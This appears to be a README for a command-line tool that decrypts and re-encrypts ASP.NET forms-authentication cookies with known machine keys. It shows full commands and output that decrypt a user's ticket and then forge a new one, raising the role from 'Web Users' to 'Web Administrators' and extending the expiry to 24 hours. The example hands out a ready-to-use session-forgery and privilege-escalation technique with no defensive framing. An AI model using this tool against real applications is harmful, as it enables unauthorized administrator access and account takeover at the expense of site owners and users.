Decrypt-EncryptASPNet

Decrypt and Encrypt ASPNet cookies with decryptionKey and validationKey.

Decrypt cookie:

$cookie = '7EC2DAFAB915269B79294CFEE6C1935B541257975B083F511B3AC04047D4F42A213ECC5EA9639169E712ACB01DFEFED926A9386FEFAEF51792F82F68632C103E9A8B76EAD5DF350FC29D2564EAE6E55036A81322F4FE2933F183BFD9803E821483AE3AA00F3B4C3C16840C3B05A13B3D384A5AF9F431E6E5232AD60FA23F40DBA744FD17643AC3F0FCE612103B764CCB1763AF059DAA030FDC21B1FCD197F00B'
$k = 'EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80'
$d = 'B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581'

.\decrypt-encryptASPnet.exe decrypt $cookie -validationKey $k -decryptionKey $d 

=== DECRYPTED TICKET ===
Version: 1
Name (Username): ken.w
IssueDate: 19-Oct-25 12:26:14 PM
Expiration: 19-Oct-25 12:36:14 PM
IsPersistent: False
UserData: Web Users
CookiePath: /

Encrypt Cookie with changed params

$cookie = '7EC2DAFAB915269B79294CFEE6C1935B541257975B083F511B3AC04047D4F42A213ECC5EA9639169E712ACB01DFEFED926A9386FEFAEF51792F82F68632C103E9A8B76EAD5DF350FC29D2564EAE6E55036A81322F4FE2933F183BFD9803E821483AE3AA00F3B4C3C16840C3B05A13B3D384A5AF9F431E6E5232AD60FA23F40DBA744FD17643AC3F0FCE612103B764CCB1763AF059DAA030FDC21B1FCD197F00B'
$k = 'EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80'
$d = 'B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581'

.\decrypt-encryptASPnet.exe encrypt $cookie -validationKey $k -decryptionKey $d -expiry 1440 -persistent true -userdata "Web Administrators"

=== ORIGINAL TICKET ===
Version: 1
Name: ken.w
IssueDate: 19-Oct-25 12:26:14 PM
Expiration: 19-Oct-25 12:36:14 PM
IsPersistent: False
UserData: Web Users
CookiePath: /

=== MODIFIED TICKET ===
Version: 1
Name: ken.w
IssueDate: 19-Oct-25 1:05:27 PM
Expiration: 20-Oct-25 1:05:27 PM
IsPersistent: True
UserData: Web Administrators
CookiePath: /

=== ENCRYPTED MODIFIED TICKET ===
D43D728F314303853DF1BFFC11525FE1BA7E9A55A1D4EE8E7DC76573F9959B2A22595E98552CE5DC8CDF2D7BD316B0D2A2D1C93BBBDE374E35382DC027DB804400A4E8E34B2FADE97869B38226344C187D5F257846F0DA7C392A3376C46E5309CE146A44DF49D61600E8138BA5014F21C96CB7A6A1AE46A0292156AAEB7E9ED8C4789116E56396EEDC3CC41616BAFDBCC0398FAE8099998C6D4195C8A3F979FFB471E41AC0498F74741AE768B624C0A0